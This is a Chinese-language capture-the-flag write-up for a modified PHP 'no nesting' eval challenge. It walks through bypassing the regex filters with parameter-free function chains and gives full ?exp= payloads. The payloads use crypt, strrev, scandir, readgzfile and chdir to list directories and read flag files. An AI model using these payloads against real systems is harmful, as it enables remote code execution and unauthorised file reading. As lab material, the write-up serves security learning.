1. 程式人生 > 實用技巧 >0xctf[No parameters readfile](魔改版[GXYCTF2019]禁止套娃)

0xctf[No parameters readfile](魔改版[GXYCTF2019]禁止套娃)

  閱讀本文前建議先閱讀本站中的另一篇文章:[GXYCTF2019]禁止套娃

  重要參考連結:http://www.heetian.com/info/827

  Leon師傅魔改了[GXYCTF2019]禁止套娃這道題,將過濾掉的字串增加了一大堆.開啟題目得到的原始碼如下:

 1  <?php
 2 header("Content-Type: text/html;charset=utf-8");
 3 highlight_file(__FILE__);
 4 error_reporting(0);
 5 if(isset($_GET['exp'])){
 6     if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//im', $_GET
['exp'])) { 7 if(';' === preg_replace('/[^\W]+\((?R)?\)/', NULL, $_GET['exp'])) { 8 if (!preg_match('/et|cu|pos|show|high|reset|local|sess|header|readfile|heb|oo|info|dec|bin|ex|oct|pi|sys|open|log/im', $_GET['exp'])) { 9 @eval($_GET['exp']); 10 } 11 else
{ 12 die("還差一點哦!"); 13 } 14 } 15 else{ 16 die("再好好想想!"); 17 } 18 } 19 else{ 20 die("還想讀flag,臭弟弟!"); 21 } 22 } 23 ?>

  我們可以看到在第八行Leon師傅將能禁的字串幾乎都禁了一遍,於是菜狗M1saka開始了構造:

  首先我們需要遍歷當前目錄,即我們需要構造scandir(".").即構造".",這裡給出我們的思考過程:

  1. 利用localeconv()函式得到"." localeconv()函式返回的是包含本地數字及貨幣格式資訊的陣列,這個陣列的第一個元素就是".",利用current(localeconv())就可以得到".",但是帥氣的Leon師傅把我們的local直接給禁了,這個思路不通.
  2. "."可以用chr(46)進行表示,於是我們開始絞盡腦汁構造46:chr(rand()) chr裡面的值只需要是週期內的46都可,但是chr(rand())獲得46的機率過小,像我這種非酋就不必了吧; 我們也可以利用時間函式去獲得46,畢竟時間函式獲得的是0~60之間的數字,比rang機率大多了.但是每一次構造payload都要等一分鐘,實在是麻煩 ; 第三種我們可以利用PHP的數學函式,結合phpversion()去嘗試拼湊出46.本題的環境是7.0.3,於是在exp中構造得到ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))));,執行得到46 但是我們機制的Leon師傅直接把"oo"給ban了,於是這個方法還是不通.
  3. hebrevc(crypt(arg))可以隨機生成一個hash值,第一個字元隨機是$(大概率) 或者 "."(小概率) 然後通過chr(ord())只取第一個字元.可是Leon師傅繼續ban了'heb',此路不通.

  4.strrev(crypt(serialize(array())))可以得到"."這就是這道題第一步的突破點.上圖:

  但是在第二張圖裡面我們發現讀到了根目錄,其實strrev(crypt(serialize(array())));不光能獲得".",還能獲得"/",於是就讀到了根目錄

  讀完資料夾之後我們已經看到了flag.php,於是我們嘗試去讀取:

  

1 payload:readgzfile(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));

因為flag.php在倒數第二個位置,並且Leon師傅ban了"ex",並不能使用next()函式,所以我們採取這種讀取隨機檔案的方式,array_rand(array_flip())選取該資料夾用陣列表示的任意一個元素並且將鍵值與元素進行調換,array_rand()函式是隨機選取陣列中的一個元素,於是我們在傳入這個payload之後,要進行多次重新整理,這樣的話我們不但能讀到flag.php與index.php,

還有一個小細節,因為Leon師傅ban了show_source() , readfile(),high_light(), 等常用讀檔案函式,於是我們使用readgzfile()函式,回顯在原始碼裡面

於是我們成功讀到了flag.php:

針不齪 假的flag針不齪

做到這裡M1saka直接衝到樓上Leon師傅的寢室去暴打他。

  既然我們已經知道flag在上級目錄裡面,接下來的操作就是先嚐試去檢視上級目錄裡面的檔案,進行目錄穿越,找到真正的flag之後進行讀取。並且我們需要用chdir()進行目錄切換,否則在當前目錄並不能讀取上層目錄的檔案。

  接下來我們要去嘗試構造"..",因為getcwd()與hebrevc(crypt(time()))都被我們帥氣的Leon師傅ban了,仔細一想,似乎剛剛在遍歷目錄的時候,第二個陣列永遠是".."於是我們可以嘗試使用套娃的方式去獲得".."

1 payload:?exp=print_r(scandir(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))))));

  因為是隨機選取陣列元素,我們需要多進行幾次重新整理才能獲得回顯,期望回顯如下圖:

壞蛋Leon放了好幾個假flag嚶嚶嚶

  我們已經可以推斷出該題的檔案結構:var資料夾裡面存在的是www資料夾,www資料夾裡面存在的是fackflag.php,noflag.php,realflag.php以及html資料夾,就是我們題目初始所在的資料夾。

  此時如果我們直接對www資料夾進行讀取的話並不會有任何的回顯,因為在本題目中預設的資料夾是我們的html資料夾,不能直接進行跨資料夾讀取檔案,於是我們開始嘗試用chdir()函式進行切換資料夾。

  realpath()函式返回該檔案的絕對路徑,在本題中應用:

1 payload:?exp=print_r(realpath(end(scandir(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))))))));

  得到的回顯有兩種:/var/www/html/var/www/html/index.php
  

  原因是我們的隨機函式有可能會選到當前目錄或者index.php,我們可以使用dirname()函式返回當前路徑下的目錄,然後chdir()該目錄就能轉到我們想要的目錄並進行檔案讀取。(記得多重新整理億次因為我們使用的是隨機函式)

  巧用if()函式的payload:

if()函式進行切換目錄,如果切換成功了的話進行隨機檔案讀取(與我們剛開始讀假flag的手段一樣)因為if語句的中如果切換目錄失敗了的話就不能執行後面的語句,起到了一定的過濾性

  

payload:?exp=if(chdir(dirname(realpath(end(scandir(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))))))))))readgzfile(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));

來看看Leon師傅藏了多少flag:

最終我們還是讀到了真正的flag(給你